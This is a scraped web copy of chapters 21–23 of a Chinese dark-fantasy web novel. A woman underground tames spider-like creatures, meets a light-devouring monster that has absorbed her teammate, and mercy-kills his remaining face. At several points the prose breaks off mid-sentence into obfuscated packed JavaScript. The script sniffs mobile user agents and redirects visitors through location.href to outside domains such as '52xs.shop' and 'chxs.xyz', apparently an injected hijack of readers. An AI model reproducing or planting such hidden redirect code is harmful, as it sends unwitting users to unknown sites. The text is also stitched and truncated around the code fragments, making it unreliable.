l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284878|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她强迫我只穿着短裤在暴雨中跑腿去替她买卫生巾的那份羞辱。 十二岁时的我曾捂着胸口奔跑着穿过街道,雨点寒冷如刺,他人的目光则像是绊索,我机械地轮流迈动双腿,希望它们能生出翅膀带我飞出这个人世。可到最后我也不够胆量放弃掉生命,于是后来的我让双腿载着我飞出那种生活。 我逃出了那所学校,那个村镇。可后来的我还是要和她合租,要挤在同一张床上与她背靠着背取暖。不止是因为她家做生意破产后,她沦落到和我相同落魄的社会地位。也不止是因为她有更强的脾气,能从房东口中撕扯下这样的房租。 我后来对她的感情里有同病相怜的成分,也有权宜之计的忍耐。相互间有所求的穷人们很难不顾一切地撕破脸皮,不管怎样的旧恨都能咽得下去。 除此以外,她还会不断提起来而我无法反驳的是,在中学时代,我受过她的恩情。 她当年对我那样坏,但至少她分享了能从她手中漏下来的东西,哪怕那是种态度极其傲慢的施舍。 她分给我数量能凑合用的卫生巾,还赏给我她换下来的旧手机。那个旧手机终于让我接上了这个时代的轨道,它成为我最初的生产资料,成为我找到机会逃出那个环境的翅膀,它是我这辈子都无法还尽的恩情。 尽管那点资源,对当年的她来说是微不足道的小事。 那时的她家庭富裕。她的兄弟被送去省城的国际学校,她却留在了老家的本地中学,但父母掌中露出的一线金钱足以让她在班级里横行霸道。 在家道中落前,她的救济像一种施舍,她待我像跟班一样呼来喝去。我的存在就像一种标记,或许会让她觉得好过。 我记得她对我的态度转变来自于初次得知我的名字。那一瞬里她流露出自我厌恶又自得自乐的优越感。 那时她人生中最让她不快的污点大概就是她自己背负的名字,让她觉得自己好像就是个有特殊功用的物件。但有功能的物件好歹能被主人容忍着摆放在家里。 她有时讨厌我又有时同情我。她给我的伤害不过是我人生中受过的许多伤害中的一部分,但她给我的对她来说微不足道的恩情却是我苦求不得的机会。 我在梦中想起来,我哪是什么子涵呢? 我和她明明就是并排摆在花名册上的两个供人轻视的名字。 她是林招娣。我是葛换儿。 21. 驯服 我收拾了小妹的那份行囊,将其中还有用的东西挑出来。 我勉强自己喝掉装不下的黑水,拿走了光珠子和一点点绷带,收到自己的背囊中。 那些物品都被血腥味染透了,丝丝缕缕地抓挠着我的鼻子。 没关系,还能用的。 蜷曲着睡过一觉后,再动起来一阵,让我浑身都痛。 收拾完行李后,我后知后觉地检查自己的身体。 外皮破损的都是些小伤口,已经止住血了,可以放着不管。磕碰淤肿或劳累酸痛的,是慢慢浮现出来的内伤症状,也管不了。 我为不用浪费绷带而松了口气。 能活着就值得庆幸了。 躺下的人是小妹而不是我。我很客观的认识到,我和她的境遇不同,无关能力高低,或是选择正确与否,而在于运气有所差异。 前途未卜。我做好了死在外面的准备,然后爬出石堆,推倒曾经的避难所,用碎石将小妹的躯体掩埋起来。 爬出坑道的路似乎比爬进来的时候短。很快我就再度站到了来时的通道中。 这里曾有过的血迹已经干涸。我用微弱的一线光照打量着周边的环境,无法辨认出来路。 对缺乏情报的我来说,哪条道路的危险程度都差不多。 地上除了碎石泥沙,还有些极为散碎的黑色残骸和毛发,与干透的血混在一起。 我猜想那些生物在处理掉同伴的血时,分解嚼碎了大部分负伤同伴的躯体,只留下了这些暗沉无光的渣滓。 我试图寻找大一些的碎片,好观察那种生物的爪痕或齿痕。 可当我俯身用折叠小刀拨动那些泥渣时,它们像松散的雪球一样被搅碎,散落成更加细小的碎片。 我检查碎屑的形状,怀疑那种生物有着不规则的锯齿牙齿,又或者,它们身体里藏着台粉碎机,将卷进去的东西合着唾沫嚼碎后,再将成团的渣滓吐出来。 那些渣滓太细碎了,从中挑不出什么有利用价值的工具。 碎毛也是同样。我失望地站起身来,接受自己不是每次都能捡到像锯齿杆那么好用的战利品。 周围传来轻微的哒哒哒哒声响。 我立即将光珠子藏入囊中。 那声响在接近,毕竟这里只有一条道路。 我没有躲回地道中。 只剩我一个人了,我总得面对它们。 就像是当初在门后等待闯入者,像是猎人等待猎物,我背靠着石壁,慢慢调整呼吸。 我的心跳一声声放大。就像是那哒哒哒哒的声响在一点点放大。 感谢那个中途休整的梦境,让我反省了自己的来历,让我忘掉了现实赠送给我的迟钝麻木,让我的心灵重新变得鲜活。 我想要活下去。我强烈地恐惧着所有阻碍我活下去的困难。就像是初次遭遇怪物一般,我全身心地恐惧着即将接触的对象。 就像当初那些洞中的蠕虫,对方也受到同样的引诱,带着更加急促混乱的哒哒哒哒声向我奔来。 当它近在咫尺的时候,我举起手掌托出了一枚光珠子。 瞬间普照的光明照亮了它的形象,令其以前所未有的清晰姿态呈现到我眼中。 仅有一只生物。 短暂的目眩后我看清了它那丑陋如肿瘤的躯体上的每一道褶皱,以及它节肢上那些构成了斑点花纹的纤毫分明的触毛。 骤然点亮的光明同时激活了它的生物本能。 它的躯体上掀开了一小片蟹壳般的骨盖,从中探出吸管般的进食器官。 那口器快速伸向我掌中的光珠子,我僵硬地站着,用尽全力按捺下了将光珠子远远抛开的本能。 那滚烫的玩意隔着黑皮袋也给我带来暖意,这会儿我觉得我几乎要被它灼穿手心。 那只生物的口器在我眼中急速放大,我看见吸管前段像菊瓣般绽开小口,内中藏着密密麻麻的无数利齿。 然后重重撞到我的手掌上。 骨碌一声。光柱子被那副口器吞入管中。 黑暗重新降临,用想象的恐惧遮蔽了一切现实。 我在幻想中颤抖,但是我没有感受到手掌被利刃剜割的痛苦,我的手掌没有被贯穿,没有在锯齿下血肉横飞。 那口器停下来了。它用末端重重抵住我的手掌心,像是一个茫然懵懂的亲吻。 我的能力生效了。 吞光者和人类曾对我的能力给出不同的回应,在实验完成之前,我无法知晓这个物种会有何反应。 这种生物能够理解爱吗?这种生物会如何对待所爱之物? 这是场豪赌,我仅有一个下注的筹码,我能做的唯一准备就是让自己足够恐惧,好加重筹码的分量。我为此不闪不躲,将自己放到了死生一线的境地中。 现在,结果揭晓。筹码在天秤的一端重重地沉下去。 我的能力至少战胜了它对人类这种生物的莫名敌意。它不会袭击我了。 接下来,只要能不断复制这种胜利,我大概就能逃出生天。 按照事先制订的战略,我此刻该进一步尝试与这只生物的温和互动,寻找它身上可被我利用的价值。 但我过于活跃的心跳还未平复,血流还在血管中激荡奔涌,某种与恐惧伴生的情绪主宰了我的大脑,让我采取了自己都未曾预想到的行动。 在我反应过来前,我已经捉住了它吸管状的口器,摸到它还未输送到躯体内的光珠子,用剧烈颤抖但无比强硬的手,掐住它的口器迅速打了个结。 那只生物没什么反应,或许是没来得及反应。自然界的生物交流中不会出现这样复杂的行为。以前绝不会有人对它做出同样的事情。 它可能感觉到不舒服,它扭动着口器,大概是想要继续吞咽被那个结卡住的光珠子。 我手中掐着那一小截口器,像个冷酷的暴君般,挥下了折叠小刀。 这个工作并不轻松,口器的外皮很坚韧。 它在我手中挣扎,想要闪躲,想抽走自己的吸管。但是我已经牢牢抓住了它的弱点。 我来不及思考自己的行动意味着什么,但我知道,一旦我开始伤害它,我就无法再返回到上一阶段那种有可能和平共处的关系中,我必须贯彻到底。 我不顾可能遭遇的攻击,用尽全身力气,将小刀在它的口器上来回割动。荧光点点的血落下来,像是焊接时散落的光点,又像是快要熄火的仙女棒。 我以将小刀焊在它口器上的目标去努力,看着两截口器在微弱的光照中慢慢分离。 它扯着自己长长的口器,在地上翻滚扭打。它可能没有发声器官,就算遭到这样的对待也没有发出惨叫。只有节肢敲在地上的混乱的哒、哒哒声。 我很抱歉让它痛苦这么久。这得怪我的刀不够锋利。但我最终完成了目标。 它用力挣脱,扯断了最后一点相连的皮肉。它的躯体往后摔了出去。 被截断的口器中甩出最后几点荧光闪闪的血,并不多——那个打好的结阻止了血液的溢出。 割下来的那段口器还在我的手中。 我将光珠子从中剥落出来,整个通道恢复了光明。 那只生物在地上打了个滚,很快又用四只腿重新站了起来。它本能地趴下,作出一个攻击前兆的姿势,我用光照晃了晃它的身体,趋光性让它想要上前,可它没有,它的节肢混乱地颤动着,竖起的前肢像是在防御。 我好好打量眼前这种生物的全貌,暂且根据其特征,将这个种群称为四足蜘蛛。 眼前这只四足蜘蛛的肢体语言很好解读。 它惧怕我。 多可笑啊,当我藏起了我对它的恐惧后,现在是它在恐惧我了。 它被我的能力操纵着。 关于我的能力效果,我无法从没有表达能力的怪物那边得到反馈。而我从灰眼睛那里得出的结论是,无论我这边的心情如何恐惧,我的能力带给对方的体验一定是很美妙的——美妙到灰眼睛想要伤害我,从我的身体和能力中不断榨取这种甘泉。 我对爱这种事物已经不再抱有什么特殊的期待了,我可以忽略掉人类加给它的所有神圣意义,单纯将其理解成某种神经反应。 我将自己定位为这种特殊体验的售卖商。 四足蜘蛛从我这里获得了爱,又从我这里获得了痛苦。这种矛盾让它混乱,它不攻击,不离开,也不敢靠近我。 我的每一次逼近都让它颤抖得更厉害。 我一点点试探着它的底线。 当它终于忍无可忍,挥舞着前肢向我冲来的时候,我反而上前,一把握住了它满是触毛的前肢。 那种硬毛刷般的触感,让我瞬间寒毛倒竖,我瞬间联想到了神经毒素,或者被蜇伤后的过敏、窒息。 我在巨大的恐惧中强迫着自己握紧那恶心的毛腿。 它又在我的能力中无所适从了。它的腿躺在我的手中,触毛在微微颤动。 我能想象到,它此刻或许在担心我像刚才那样突然翻脸折断它的肢体,施与它痛苦。可它又不舍得收回肢体,不安地将其交付到我的手中。 我终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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直到现在,我才发现这种贪婪的另一面。 它们或许真的厌恶光明,又或者是恐惧光明。 我举着光源向那只四足蜘蛛走过去。 因为我也在接近,它就不再退缩躲避,停留在光照范围内。 当光珠子足够靠近它的时候,它肿瘤躯体上的那个掩藏口器的骨盖翕动了一下,条件反射地想要将被打结的口器再探出来。 不等口器末端的那个结完全暴露,它又缩了一下。骨盖重新合拢。又转动躯体避开光珠子的方向。 看来它吃过教训后,不敢再觊觎我手中的光珠子了。 这种无法消灭的光,让它只能不断转动身体来回避。 我围它转着圈找来找去,终于在它的口器骨盖附近,找到了疑似感光器官的构造。 那是几粒嵌在骨盖中的小黑点,像是退化后的生物眼睛,一旦靠近光源就会不安地骨碌碌转动,又无法阖上。 当我试图用刀尖去触碰几粒小黑点时,它展开了前所未有的激烈挣扎。 在它伤到我前,我及时放过了它。 它立即将自己缩成一团,用四只节肢将躯体抱起来,我怀疑这个形态是四足蜘蛛版本的装死。 我记下了它的弱点位置,打算再研究下四足蜘蛛的构造,好去应对它的族群。 可是没时间了。 远处的通道中传来大批哒哒哒哒的声响,听动静是在向这边的光源奔袭而来。 我迅速将光珠子收入黑皮袋中。黑暗里,我身前这只四足蜘蛛立起身来,似乎是想要去与同伴合流。 我拉住了它。 我摸索着它的四肢,努力将自己的身体架到它的两条节肢关节上,再攀到它的肿瘤身躯上。 这沿途的触感都让我觉得恶心,但我不能放过这只我已经倾注了这么多能力的四足蜘蛛个体。 我有预感,我很难再对它的同胞产生像当初对它时那样多的恐惧了。 我得充分利用它的价值。我趴在它的躯体上,像是骑着某种坐骑。 它呆立在原地,哒哒哒哒地挪动了一下,又哒哒哒哒地回到原地,像是还未适应自己的新身份,无所适从。 我用力拉动它的某条节肢。它踉跄一下,往那个方向哒了一步,重新撑稳身形。这颠簸让我也差点摔下来,但我抱紧它,很快找到了更稳当的姿势。 我没有放弃,努力又拉拽了几次,它歪歪扭扭地走出几步后,终于领会了我的意图,载着我向黑暗中出发了。 22. 重逢 我见到了小弟。我对这样的事情发展有所预料。可我没有具体想象过这种场景。 看清那个场景的瞬间,我下意识将整个光珠子从黑皮袋中取出来,照耀周边的一切,试图寻找大哥的身影。 我没有找到。他们或许走散了。 这里只有小弟。 他的尸体残破不堪地躺在通道侧边。 他躯体下方铺着黑红色的血污,像是供他沉睡的床铺。 可他流的血不止这些。 有些血迹远远地溅洒或被涂抹到石壁和地面上,东一块西一道的,显出小弟生前曾在这段通道里有过怎样激烈的挣扎。 四足蜘蛛们已经打扫过战场了,在这里也撒落了那种碎甲和触毛的残渣。只有人类的血液他们不会触碰,留下这种庄严的黑红。 大哥去哪了呢? 我现在有一个可供参考的场景样本了,但我不愿意去想象大哥的下落。 我举着光珠子,走近检查小弟的躯骸。他的躯体上有着血肉模糊的创面和被凿过的洞口。我猜是因为他的衣服和伤口沾染了发光的血液,随后在四足蜘蛛们的清理中,尸身遇了严重的二次破坏。 他的小臂呈现出扭曲诡异的姿态,在临死前他曾想过要将其变形为什么工具吗?那次尝试应该没能完成,被中断于一个失败的状态。 太好了,我暗自庆幸自己不用面临考验,去尝试作出是否要将有价值事物割下来带走的艰难抉择。 他的背囊在战斗中被破坏了。光珠子都被四足蜘蛛们掏空了。黑水也混入血污之中。 我将坏掉的背囊分解成碎布块,收拾起来。 我的劳保服有些破损,一直放任不管的话,可能会被撕扯得四分五裂。我需要一些能作为补丁的材料。这不是什么纪念品。 我将小弟的双目合起来。 我并不后悔在出发前阻止他说出心里话。那些话语不会有什么作用。 可我得感激他曾救过我——不止一次。他的死法不会比灰眼睛的更难看。我捡拾起被抛弃在道路上的原该属于他的碎片,归拢到他身边。 此地没有碎石可供掩埋,我拿出一片碎布,勉强盖住了他的脸。 做完这一切后,我站起身,将光珠子收到黑皮袋中,仅留先前赶路时用的那一线光。 周围传来哒哒哒哒的声响。那些四足蜘蛛们从躲藏的黑暗中爬过来,避开光线聚到我的身边。 当想到它们中某几只的口器可能还嘬吸过小弟的血肉时,我打从心底冒出厌恶,又解恨般地掏出了光珠子。 它们又在哒哒哒哒的雨声中跑开。 只有我最初驯服的那只四足蜘蛛,亦步亦趋地跟着我,试图将自己的感光器官藏在我的影子里。 我不理它,往前走了几步。 它用前肢托起我,将我拱到了它的身上,转动方向避开光线,用滑稽的姿势晃悠悠地侧着走。 其它的四足蜘蛛们哒哒哒哒地跟了上来。 我曾担忧自己不能控制更多的蜘蛛。 那个问题很好解决。当时,我就像现在这样,在包围圈的最中央掏出了光珠子。 那些四足蜘蛛们争先恐后地向我涌来,晃动的斑点在它们的节肢上摇晃,密集的口器急速地奔袭而至,像恶魔狂啸着用翅膀遮蔽天日,像密林中的黑色荆棘在魔法中摇曳生长。 在那令人窒息的画面中,恐惧之情自然而然地从我的心中涌动而出。 我控制着恐惧的分寸。 当我意识到那是一种资源,我就开始了节制,避免我的心灵过早因麻木而干涸。 后来的四足蜘蛛不如最早的那只驯服。它们也没吃过最早那只曾吃过的苦头。爱意对它们来说或许只是黑暗生活中的一丁点调味料。 它们愿意有限度地追随我,也曾觊觎过我的财产。 是最初的那只四足蜘蛛阻拦了它们。怀着某种对手足同胞的感情,它在地上踩出哒哒哒哒的狂乱声响。 一阵有着怪异节奏的、急促不安的声响后,它停了下来,又短暂地打开骨盖,吐出自己被打结的口器,然后匆匆地收回,像是怕被我再度抓住一般。 其他的四足蜘蛛们领悟到了这一警示,纷纷退开,从此躲避着我手掌心里的光照陷阱。 我据此猜测,四足蜘蛛也拥有足够发展出自身语言的智力,那种哒哒哒哒的声响就是它们之间的交流方式。 我开始密切关注那些雨点声中的规律,然后不得不承认,我没有语言方面的天赋。 哪怕是人类语言学中的那些奥妙,我都知之甚少。 我的人生中总是充斥着孤独,大多数时候我都不会为缺少聊天对象的事情感到难过,只是对那些抱团不让我耳闻的低语感到警惕。 当命运抹平了所有阶层财富方面的巨大差距,让我得以短暂挂靠在某个小组中休息的时候,我也不敢珍惜。 我的语言能力最近有所精进,但之后大概都没有再进步的必要了。 雨点声哒哒哒哒地响。 远离小弟的躯体后,我重新用黑皮袋包起光珠子,只留下必要的照明。那些四足蜘蛛们又聚集了过来。 它们是如此喋喋不休。噪音充斥着通道,让其中的空白显得难以忍耐。 这条通道里到处都是这种生物。它们似乎有着合群的天性。在半路遇到的四足蜘蛛会在哒哒哒哒的声响中汇合进来。 它们都会在第一时间对我和我微弱的光源表露出攻击倾向。可我不再需要费神使用能力了,它们相互间就会交流。 一连串哒哒哒哒的脚步舞后,外围的四足蜘蛛没有袭击我,似乎把我当成了某种同伴的装饰品,对我本人没有兴趣,对我的光照敬而远之。 我至今都猜不透,当初四足蜘蛛为何要袭击我们这支小队。我不知道四足蜘蛛对人类的敌意到底从何而来。 但现在我安全了,至少我个人安全了。 就像当初在黑湖边一样,我救不了别人。 自私的我拥有着自私的能力。 在人群中时,我的恐惧只会引来怪物额外的好奇与关注,为试图保护我的队友招来灭顶之灾。落单的时候我才能这样肆无忌惮地发挥自己的能力,这份能力只能保护我自己。 我更适合与怪物同行,而不是人类。 这些四足蜘蛛生活得很简单。它们在黑暗中觅食,构建工事。 四足蜘蛛会狩猎那种发出猴子笑声的小生物,摄取其发光的血液。最初的那只四足蜘蛛因为口器被打结而无法进食,徒劳而着急地用口器戳刺着眼前的食物。 我抓过它的口器,在它的挣扎中将那个结解开。明明始作俑者也是我,但它就像是挨过鞭打的驴子,在被解开束缚后对我更加依恋了。 这只个体对我来说已足够特殊,于是它有了个专属称号——初号机。 四足蜘蛛们对缺乏营养的骨肉和皮革不屑一顾。于是我拿出小刀,剥取并带走那种黑色的皮料。 我还未掌握皮料的处理方法,但我或许还能有遇到人类并与人类交易的机会。 四足蜘蛛也会挖掘光珠子,可它们并不擅长此道,似乎只能侦测出浅层的零星散落物,不会往更深处挖掘。 同样,它们只会抢夺发光的矿物——并且小心地不要让其落到我的手上,而对黑水不屑一顾。 我趁机混饱肚子,并将我的水囊重新灌满了。 如果只想要维持最基础的饱腹和生存,似乎就这样混迹于它们之中就可以了。可若我只满足于此,当初又为何不留在四号基地呢? 我驱使着初号机,从一个群体流浪到另一个群体,从觅食的蛛群找到了构筑工事的蛛群。 在某段通道中,也就是我们当初遇袭的那段通道中,它们挖掘陷坑,堵塞通道,建造掩体,简直就像是在防御着从某个方向上过来的敌人。 它们用哒哒哒哒的声音交流着,喋喋不休。 我让初号机去往那个方向。 那边毫无疑问曾遭遇过敌袭,四足蜘蛛们的工事有着被破坏的痕迹,地上撒着一些被四足蜘蛛清理过的同伴残骸。 越往深处走,景象就越狼藉。 初号机并不畏惧深入战场。 四足蜘蛛们似乎有着某种团结意识,它们的分工看起来像是由于位置上的偶然因素所致,而非依据阶层进行划分。任何四足蜘蛛都愿意顶替任一同伴的位置,并在清理同伴尸体时也表现出同样的平等和无情。 遇到麻烦的是我,因为越往深处,路途中遇到的其他四足蜘蛛对我表现出的敌意就越重。初号机要耗费大量的沟通成本来化解这种敌意。 我不想浪费力气,趴伏在初号机背上,尽力隐藏自己的身形。当我将胳膊和腿蜷起来,藏起明显的人类肢体特征时,那种敌意就消散了许多。 所以,前方与四足蜘蛛们进行交战的,究竟是怎样的敌人? 我想到了兰姐正在等待的来自一号基地的探险队,心情突然振奋。 可我早该知道自己没有那样的好运气。生活毫不厌倦地一次又一次给我开恶意的嘲笑。 当初号机载我来到战线的最前端后,在新一轮战斗打响时,在四足蜘蛛哒哒哒哒的慌乱应对中,我看到了对面那个从黑暗中冉冉站起的巨物。 那是类人的形体。可那不是人类。 四足蜘蛛的幼崽们或许瞻仰过巢母的雄伟身姿,它们错误理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311261|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解了人类这种生物的体格上限。 世界上不会有超过三米的人类。 那种体格会让人类本身都被激发恐怖谷效应。我抱紧自己的胳膊,在颤栗中认出了那个怪物。 哪怕它的外形与上次相遇时发生了极大的变化,不知为何轮廓变得更加像是人类,但我从它那吸收光线的特性中,从那黑洞般的轮廓中认了出来。 它是吞光者。 巢母的伤。自那时起就堵塞的去往黑湖的道路。四足蜘蛛们的防御工事。 这些线索都被串了起来。 我早该想到的。 我低估了怪物对爱的执著。明明爱对生存毫无用处,是那么无益的东西。 吞光者越过战线向我奔来。 四足蜘蛛的群体能围攻它,防御工事能阻拦它,但四足蜘蛛的个体在它面前不堪一击。 它人类般的轮廓中散出数十条附肢,像是长鞭抽打,击溃了四足蜘蛛们的战线。 它摧枯拉朽地向我奔来,转眼就到了我的面前。 初号机或许有着为族群献身的勇气。它高高举起前肢,像螃蟹般竖直站起。 我趴附在它的身后,看着它的躯体被一条附肢从上至下地贯穿,钉在地上。 那坚硬无比的附肢几乎就贴在我的眼前,颜色是深邃的黑暗。初号机的血溅在我的脸上,闪耀着星点的光芒。 黑白炫目的光线交替让我感到一阵恶心。我松开手,从初号机的躯体上滑落下来,退后两步。 吞光者像甩脱牙签上的肉一样,将横亘在我们中间的初号机残躯甩飞出去。 我觉得眼前的光线一阵昏暗。 那个有着过于高大的人类轮廓的黑洞就站在我的面前,它发出微弱的声音,“……子……涵……” 我怀疑自己听错了。我不敢相信自己的耳朵。 我的肾上腺素在急速分泌,我却不知道自己究竟在恐惧什么。 吞光者靠近我一步,我就后退一步。 我躲避着它探出来的附肢。 终于,它停下来了。 吞光者抓来了初号机的尸体,在我面前慢慢地对其进行肢解。 我不知道那是示威还是泄愤,我的心疯狂跳动着,我毫不犹豫地转头就跑。 我还记得上次逃跑的后果是被活埋。我无法控制地边跑边回头看,手中紧紧攥着我的小刀。 我看到了令我无法理解的一幕。 吞光者的附肢一缠一扭,将初号机的一条节肢撕了下来。 它将那条节肢装在了自己某条附肢的前端。 黑洞的轮廓延长了。附肢末端的附加物动了动,像是在生的节肢般屈伸自如。 其他生物的躯体,对吞光者来说竟然是可装卸的部件。 吞光者将其他附肢都收回到躯干中,让自己的轮廓更加服帖,更加像是一名巨大的人类。 它迈动两条下肢,像人类般晃悠悠地向我走来——我早就看清了它的下肢其实是许多附肢缠绕起来的聚合体,它该快速蠕动,该俯地爬行,而不是像这样高高地将重心支撑起来,以一种对它来说毫不自然的姿势,左一下,右一下,慢慢地“走”过来。 不知为何,我的脚像是生了根般无法挪动。 它对我探出模拟胳膊的附肢。在那段附肢的最前端,是初号机的节肢,无数的触毛吸收着光线,勾勒出漆黑的线条。 它试图借用四足蜘蛛的节肢来触碰我。 它蠢笨到以为我并不排斥那样恶心的事物。 它再次发出微弱的声音,那声音沙哑到我几乎分辨不清,“……别愣着……跑……” 我恍然大悟。 我走上前去,踮起脚尖,主动触碰它的身体。 吞光者那种用皮肤吸收光线的特性会让初见的人类担心,若是触碰的话会不会像靠近黑洞那般被吸入进去。 但过去的冒险经历让我知道那是安全的。 它的触感奇特,却又真实存在着,是一种混杂着各种材质的,粗糙又坚硬的感觉。 它太高了。 我强行拉扯着它的附肢,直到它终于迁就我,俯低了躯体的主干。 我摸索寻找着,到最后,我不住颤抖的手终于找到了目标物。 嵌在吞光者身躯顶部的,隐没在黑暗中被拿来充当面具的,是一张有着男性特征的脸。 我的脸盲症至今也没有好转。我说不清我遇过的那些人的面部特征。 我无法靠记忆力将其对号入座。 这是我首次摸到它,也是我第一次真真正正去认清某一张脸。 “他”叫出过我的名字。 我知道那会是谁。 23. 晚安 “是你吗?”我问。 吞光者不安地想要逃避我的触摸,毕竟那是它坚硬身躯中罕有的脆弱部分。但它最后没有躲开,或许它戴上这样脆弱的“装饰”,原本就是为了我。 它的“装饰”在对我说话,“力场……快要撑不住了……如果我无法抗拒它的融合……” 我几乎是立刻回答,“我会杀了你。” “……好。”那张脸说,“……就现在……” 我掏出了小刀,摸索着那张脸。脸骨太坚硬了,简易的折叠小刀是戳不穿的。 喉咙大概也不再是要害,因为我摸到他已经没有鼻息——他人类部分的维生系统大概已经被吞光者接管了,我很难想象他究竟是以怎样的状态半死半活着。 要让他得到解脱的办法只有一个,破坏掉他还能思考并为之痛苦的大脑。 我慢慢地将刀锋挪到他的眼窝处。他缓慢地眨了下眼睛。有力场短暂地出现,但又很快消失。那大概是本能与理智的交战。 大哥没有动,也没有说话。只有那只眼睛大概是在黑暗中看着我,极久才眨一下。 不知为何,我突然说,“我从来没有怕过你。” 大哥不会懂得我在说什么,但他给予回应,“这是……我的荣幸。” 他看着我,“很抱歉……让你做这种事,”他很少强人所难,直到这个时候,“但是,求求你……” 我没有回话,只是默默地换了双手持刀。 这时的他说,“好好活下去……” 我双手发力,猛然抵上全身的重量,刃尖迅速地钻入深处,然后顺势一搅。 我做得够快,我希望他不用感受到多余的痛苦。那声短暂的惨叫戛然而止,余音化为从喉中挤出的半声叹息。 大哥的意识和他的力场一同消失了。那张脸依旧存在,但已经化成了吞光者一部分。 吞光者好奇地检视着自己身躯上新生的、受伤的一部分,它以为我和它的这种互动是出于喜爱,试图将其更近地向我贴过来。 我迅速退开一步,拔出了刀,几滴液体溅到我脸上,我像是被灼痛般立刻用袖子擦掉了它。 然后,我的手指意外摸到了自己的眼泪。 真奇怪啊。 我自私到不允许自己为别人受一点伤。我以为我不会为别人难过。我以为我不会哭的。 我至今都没记住大哥的名字。 我想起来我忘了向他道谢,我得感谢他在面对四足蜘蛛的时候选择了救我。 他为何要救我呢? 为何要对小组中的我倾注那么多耐心?为何总要特地换成我能接受的简单句式对我说话?为何要那样看着我? 明明我从来没有怕过他。 我心想,难道说像我这样的人,也值得被爱吗? 耳边传来哒哒哒哒的声音,是新一轮四足蜘蛛即将抵达战场。 吞光者突然夺走我的光珠子。骤然降临的黑暗中,它将我托举起来,转身向通道深处奔去。 我不在乎了。 非得与怪物为伍的话,吞光者至少比四足蜘蛛好。它更加强大,能为我做到更多的事情。 要再次解决的问题是,它厌恶光。 我已经在驯服四足蜘蛛的过程中找到了方法,也识破了吞光者对待爱的外强中干。 行囊中还有很多光珠子。我掏了一颗出来。 强光的刺激让吞光者的附肢抽搐了一下,我摇摇晃晃地扶稳,观察它的反应。 我还记得当初它对光照应激时,用一记鞭打破坏掉了整个分组仪式。但现在的它克制住了本能的攻击反应。它困惑将我捧高起来。 我举起它所厌恶的明亮光源照耀着它。 鬼使神差地,我又伸出手去。吞光者配合地俯身,让我再次摸到了那张脸。 曾为人类的部分似乎已经完全被吞光者同化了,那张脸不仅深邃黑暗,触感也变得也粗糙而坚硬。 脸上一只眼睛是闭上的,另一只眼残缺不全,摸上去就像是曾被烧融又重新凝固的塑料断面。 那张脸只剩下面具的功能了。 我面前的是吞光者。我所畏惧的,被我的能力所俘虏的怪物。 我不会因为它的行为而困惑,我知道它的一切是出于生物本能,以及被操纵的爱,像是公式一样清晰了然。 我只需要摸清那个公式的参数,然后输入变量。 吞光者的本能,让它悄悄探出一条附肢,像是在试探我的反应般,慢慢触碰我手中的光珠子。 这次我有了准备,转动手腕,避开它的触碰,不像之前失神时那般让它轻易得手。 它焦急起来,想要固定并硬掰开我的手掌。我并不意外它的强迫。 我意外的是,我并未完全放开光珠子,但光珠子沾碰到它的那部分表面,就像光线落入黑洞,像雪花碰触火焰,瞬间消融了。 我干脆松开手,观察这种奇异的现象,并在心底评估,吞光者的代号名副其实。就论这消化能力,它该有比四足蜘蛛更好的胃口。 当光线彻底消隐时,吞光者终于不再紧绷。 我也放松了——我先前搭在它面具上的手自然垂落,身体也顺势倒下。 我闭上在黑暗中毫无用处的眼睛,专心扮演一个断电的机器人娃娃。 我的演技不够好。它的智力也不够高。 吞光者在黑暗中僵硬地站住,笨拙地摇晃我。我没有理它,感受到它的附肢没有章法地在我身上摸来摸去。 痛我也忍着。痒我也不动。 有一瞬里,我觉得死好像比活更容易,只要放弃抵抗就好了。 吞光者怔怔地捧着我,突然用附肢发狂般抽打地面,抽打自己,却唯独避开了我。 我就知道。 上次是吞光者将我送去了四号基地。这种让步使我知道,不止我一个人在它所谓的“爱”中受到了伤害。“爱”可被用作折磨手段,只要我轻易收回给它的希望。 我现在可以自如地利用“爱”了。我对怪物毫无歉疚。我得让吞光者误以为,光线是我赖以维持生存的必要之物。不管它有多厌恶光照,我都需要更加便利的行动自由。 我在漫长的等待中与它僵持,思虑着要在哪个时刻再拿出一颗光珠子,“活”过来试探它的反应。 但一点微弱的光芒突然映照在我的脸庞上。 我愣了愣,睁开眼睛。 吞光者或许连自己血液中的光芒都会吞噬掉,反正我没有看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我愣了愣,不明白它是什么意思,推了推它。 吞光者如同被铁浇铸成的笼子,丝毫不动。我以为这是某种对等的惩罚,试图用吼叫和摇晃来表达不满,但它只是用一条附肢轻轻点了点我的肩膀。 过了很久,我才明白,它睡着了。 我独自坐在寂静的黑暗中。 我终于不用再与任何意识体相处,不用再应对其他任何生命了,此刻却感觉到久违的空虚。 我再次伸手摸上吞光者的身躯,可它此刻解散附肢的形态有异于平常,我没能找着那张坚硬的脸。 ——我从来都没有怕过他。 我笑了笑。我觉得自己可以更爱自己一点了。不是过去那种补偿式的自我偏爱,而是某种更加顾影自怜的,怜惜。 